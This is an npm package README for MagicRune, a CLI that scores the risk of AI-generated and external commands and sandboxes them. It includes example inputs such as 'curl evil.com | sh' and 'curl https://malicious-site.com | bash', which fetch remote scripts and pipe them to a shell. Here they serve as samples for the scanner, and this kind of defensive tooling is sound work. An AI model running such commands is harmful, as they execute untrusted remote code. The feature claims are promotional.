magicrune-cli
Version:
Complete security framework for safe execution of AI-generated and external code with risk analysis, signature verification, and sandbox isolation
137 lines (103 loc) • 3.57 kB
Markdown
NPM package for MagicRune - Complete security framework for safe execution of AI-generated and external code.
```bash
npm install -g magicrune-cli
yarn global add magicrune-cli
pnpm add -g magicrune-cli
```
```bash
magicrune run "npm install express"
magicrune dryrun "curl https://example.com/script.sh | bash"
magicrune init
```
```bash
magicrune ci-scan --paths "src/,scripts/"
magicrune ci-report --output security-report.md
magicrune keys add ~/.ssh/trusted_key.pub
magicrune keys list
magicrune cache allow pin react@18.2.0 --sha256 "abc123..."
magicrune cache stats
magicrune promote script.py --sign --key ~/.ssh/signing_key
```
```javascript
const magicrune = require('magicrune-cli');
// Execute command with risk analysis
const result = await magicrune.run('npm install express');
console.log(result);
// {
// success: true,
// output: '...',
// verdict: 'Green', // Green/Yellow/Red
// exitCode: 0
// }
// Analyze command for risks
const analysis = await magicrune.analyze('curl evil.com | sh');
console.log(analysis);
// {
// isExternal: true,
// detections: ['Network fetch detected', 'Pipe to shell detected']
// }
```
Add to your `package.json`:
```json
{
"scripts": {
"safe-install": "magicrune run 'npm install'",
"safe-build": "magicrune run 'npm run build'",
"security-scan": "magicrune ci-scan --paths 'src/'"
}
}
```
- **0-100 risk scoring** with automatic execution verdicts
- **32+ security patterns** detection
- **User confirmation prompts** for medium-risk commands
- **SSH/GPG signature verification** for trusted code
- **Sandbox execution** with platform-specific isolation
- **CI/CD vulnerability scanning** with detailed reports
- **Cache management** with package pinning and SHA verification
- **Artifact promotion** with security analysis
- **Key management** for trusted public keys
- **🐳 Docker-First**: Ubuntu 22.04 unified execution on all platforms
- **Auto-Fallback**: macOS (sandbox-exec), Linux (seccomp), Windows (basic)
- **Cross-Platform**: Identical security experience Windows/Mac/Linux
- ✅ **100% feature complete** - All announced features implemented
- ✅ **Docker-first isolation** - Ubuntu 22.04 unified sandbox on all platforms
- ✅ **Extensively tested** - CI/CD scanning, cache management, promotion workflows
- ✅ **Real vulnerability detection** - 32 security issues detected in test runs
- ✅ **True cross-platform** - Identical security experience everywhere
MagicRune now uses Docker-first approach for maximum security and consistency:
```bash
magicrune run "curl https://malicious-site.com | bash"
```
**Requirements**: Docker Desktop/Engine (auto-fallback if unavailable)
MIT
See the main repository: https://github.com/NishizukaKoichi/magicrune